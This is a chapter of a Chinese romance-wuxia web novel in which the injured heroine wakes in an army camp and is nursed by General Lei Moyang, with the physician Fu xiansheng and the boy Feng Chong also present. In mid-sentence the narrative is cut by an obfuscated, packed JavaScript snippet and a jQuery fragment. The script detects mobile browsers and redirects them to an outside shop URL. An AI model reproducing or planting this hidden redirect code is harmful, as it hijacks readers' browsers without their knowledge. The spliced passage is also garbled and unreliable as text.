痛!浑身散了架一般的痛。
迷迷糊糊中,有人在帮我清理伤口。我只觉得动作分外轻柔,上药似乎都不那么痛苦了,不禁喟叹一声。
察觉到我的动静,身侧的人立刻探身,柔声道:“感觉怎么样?哪里还疼?”
这声音?
是雷无咎?
我蓦地想起晕过去前是他抱着我,原来,他又救了我一次!
“雷···”我嗫努着嘴唇。
“是我,我来了,”他应道,“别怕,还有哪里疼吗,老傅说你现在不能多说话,哪里疼告诉我。”
我努力想睁开眼睛,却还是昏昏欲睡。
手被紧紧握住,我知道是他,便安心地睡去。
再次醒来的时候,身侧坐着一个眉目清秀的少年。
“姐姐你醒啦!”少年见我睁眼,极是欢喜。
“你···是···”我一开口,声音沙哑。
“我叫冯翀,阿兄守了你一日一夜了,方才去歇息,他不放心,让我来守着姐姐。”
原来,他就是冯翀,冯儒将军的幼子。
我看着他秀气的眉眼,微微一笑:“···谢谢你。”
“我去喊阿兄!他知道你醒了,一定很高兴!”
我看着他蹦蹦跳跳地跑出帐子。
帐子猛地沉寂下来,我打量了下四周,似乎入了夜,点着一盏蜡烛,外面不时传来巡逻行走的声音。
这里大概就是镇北军的驻地了。
终于,没有一处比这里更让人心安。
没多时,帘子被猛地掀开,雷墨阳穿着银甲,带着一身寒气,大跨步走到我的榻边:“灵澜,你醒了!”
我还从未见过他穿铠甲的样子,竟与那画中英武的青年将军一模一样,一时间竟看得痴了。
他见我不语,似乎有些心慌,探手触了触我的额头,松了一口气,又望向我,柔声道:“老傅说你今日会醒,我本来守着你,”顿了顿,又道:“刚刚翀儿来说你醒了,我···”
见我还是不语,他又问道:“哪里还疼吗?”
我摇摇头。
他斟了一杯水,小心喂我喝了两口。
“你是怎么···找到我的···”我嗓子有些发哑。
他喂我喝水的手一顿:“殷子墨派人传了信,我才知道,你去了雁落谷。三日前,他的斥候找到我,说你中了金明教的埋伏···”
“我带着人,只怕赶不及救你···”他闭了闭眼,似乎极力隐忍,“你知道那里是什么地方,就敢去?”
“曲灵欢···我找到她了···她答应和我来见你,可···”望着他,我忍不住红了眼圈,我多想为他做点什么,可是最终却累得他来救我。
眼泪滑下,滴落在被角上。
“傻丫头,哪里就值得你这样,”他温柔地拭去我眼角的泪珠,“就算没有她,我也能想到法子,何须你以身犯险。”顿了顿:“此番若不是殷子墨的人,我尚且不知,亦风和枫桐就是如此看护你的吗?”
我急得要爬起来:“不关他们的事,是我不让他们告诉你的!你、你不许罚他们。”
牵动胸口的伤,剧烈的疼痛让我忍不住咳嗽起来。
他忙一把扶住我,一面顺着我的背,一面道:“别急,我不罚他们,你身上有伤,不要激动。”
我咳了好一阵才缓过来,靠在他臂弯里喘息。
他垂下眼看我,目光里有心疼,也有无奈:“你倒知道护着他们。”
“本就是我的主意···”我声音发虚,“枫桐劝过我,是我不听的。”
“嗯,”他低低应了一声,没有追问,只将我轻轻放回枕上,又替我掖好被角。
我见他手臂处有血迹,急忙拉过来要细瞧:“你受伤了?是在万蛇窟救我的时候吗?”
“小伤,死不了,就是费点药罢了!”一人嫌弃地端着一盅药进来,正是许久未见的傅先生。
“傅先生!”我奇道:“您也在这里?”
傅先生朝我淡淡点点头,一面瞥了一眼恢复冷肃表情的雷墨阳:“抱歉,没耽误二位正事吧。”
雷墨阳朝他淡淡瞥去一眼。
我后知后觉红着脸松开了雷墨阳的手。
雷墨阳温声道:“不用担心,我没事。”
傅先生闻言哼笑一声:“是不用担心,平安扣不都给人家姑娘了吗,如果不是有这个护着,再有下一次,就是大罗金仙也救不回来。”
我一怔,平安扣?
想起万蛇窟中,蛇群在我周身围成一个圈,却不敢上前,难道是因为平安扣?
见我疑惑不解,傅先生难得好心道:“万蛇窟之所以对你不起作用,就是咱们雷大将军送你的那个平安扣,那是金明教的一宝,百毒不侵。”
我恍然大悟。
平安扣给了我,那他···
想起他不顾阻拦跳入万蛇窟,我心不禁揪了起来,望向他,眼中也渐渐有了水汽。
“老傅!”雷墨阳沉声喝道。
傅先生终于道:“行啦,我也不吓唬小姑娘了,雷将军就算没有平安扣,也有百毒不侵的功效,你当镇北将军是吃素的。”
雷墨阳淡淡一笑:“不是还有你么。”
傅先生冷笑一声:“我真是欠你们的,倒成了我的事。”
“言归正传,叶姑娘虽然没有中毒,但还是受了内伤,要调养一阵子。”
他端来了药,雷墨阳接了过来,先试了试温度,舀起一勺便送到我嘴边。
我脸一红,轻声道:“我、我自己来。”手还没抬起来,便是一阵剧痛。
雷墨阳道:“你现在哪里还能自己动手,别逞强。”
傅先生在一边好整以暇,啧啧道:“难得见杀伐决断的将军大人亲自喂药···”
我羞红了脸。
雷墨阳却浑不在意,只一勺又一勺耐心地喂到我嘴边。
“我去看看翀儿,上次那孩子配得药方甚得我心,是个好苗子。”傅先生懒洋洋道,“我就不在这碍某人眼了,二位随意。”
帐中又陷入沉寂。
只有雷墨阳仍在默默地喂我喝药,帐子里安静地针落可闻。
他一边细心地擦去我嘴边的药汁。
我只感觉自己红得不能看。
他却仍温声道:“哪里若不舒服,和我说,我会一直在。”
“你军务繁忙,不用···一直在这里陪我的···”我声音小下去。
“无妨,再忙也是要休息的。”
我一时无话,只好问道:“跟着我的那两个斥候···”
“我已派人送他们回祁连山,并知会了殷子墨,你放心。”
我点点头,似乎有他在,我总不用担心任何事。
喂完药,他将我轻轻放回枕上,自己则坐在一边守着。
“你···”我顿了顿,“不用如此···”
他想了想,道“军中没有妇人,你又是女子,照顾你,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358606|193310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我亲自来比较放心。”
可此时,我肚子却隐隐作胀起来。
“不用了,我自己可以的。”我小声说。
他一怔,“可是不舒服?”
“没、没有,你···你出去吧····”
“你要做什么,我在这可以···”
“真的不用了!”我语气里已经带了恼意,只觉得肚子胀得我烦躁。
他望着我却不语。
“可···可我、我要出恭···”我终于忍不住,带着哭腔。
他一怔,随即弯起了嘴角。
下一秒,他上前一把打横抱起我,将我抱到榻后的恭桶上坐好。
“好了叫我。”他温声道,随即转身出去了。
我忍住羞意,只恨不得挖个坑把自己埋进去。
过了片刻,他再度回来,没有去看我红到脖子的脸,面色如常地再度起身将我托起,轻轻放回榻上,掖好被角。
我掀起被子盖住头,一半是羞恼,一半是说不清的委屈。
太丢脸了,还怎么见人?
“灵澜?”他拉了拉我的被角,没有拉动。
“不要理我···”我闷闷的声音从被子里传出来。
他轻轻拉下被子,我看到他一脸无奈的笑意:“你在害羞什么?”
我垮着脸不语,只觉得在他面前没法见人。
“你现在行动不方便,我照顾你,不是自然的吗?”他温声道。
我抬头望去,见他眉眼都带着温柔的笑意。
“睡吧,”他柔声道。
我真困了,闭上眼睛,浑身的疼痛袭来,让我慢慢陷入黑暗。
疼得迷迷糊糊中,只感觉额头传来羽毛一般的触感,一触即离。
这么多天来,我第一次睡得无比安稳。
···
接下来的日子,我便在这里养起了伤。雷墨阳大部分时间很忙,他从附近村寨请了一位老妇来照顾我的日常起居,他自己只要一有时间,便来一侧陪着我。
冯翀也经常跑来陪我聊天,从他口中,我知道了这里并不是镇北军的驻地,而是临时安营扎寨之地。
在救我之前,镇北军已经和赤翎的一股叛军对阵了两场,并活捉了几个俘虏。
收到我遇险的消息时,雷墨阳刚从战场上下来,连战袍都没来得及换。找到我后,又亲自守了一日一夜,手下副将和傅先生多次劝,他才勉强去歇了几个时辰。
“姐姐,”少年低声道:“你不知道,接到你的消息,阿兄那样子,感觉要杀人···”
我想到他那时的模样,心头一暖,又有些酸涩。
帘子掀起,雷墨阳进了来。
冯翀见到雷墨阳,早一骨碌起来,笑道:“阿兄。”
“嗯”雷墨阳解下盔甲,“今日沙盘推演可练过了?”
“练过了,”冯翀冯翀笑嘻嘻应道,“阿兄前日教的也都记下了。我想起来,傅先生叫我过去,我就先走啦。”又回头对我眨眨眼“姐姐,我明日再来看你。”
我对他微微一笑。
“明日可不许偷懒。”雷墨阳淡淡道。
少年吐吐舌头,一溜烟跑出了帐子。
见我笑了,雷墨阳神色柔和下来:“今日感觉如何?”
“好多了,就是躺在床上闷得久了,想起来走走。”
他想了想,“再等两日,等你能下榻了,我带你去外面看看。”
我望着他英气的侧脸,点点头。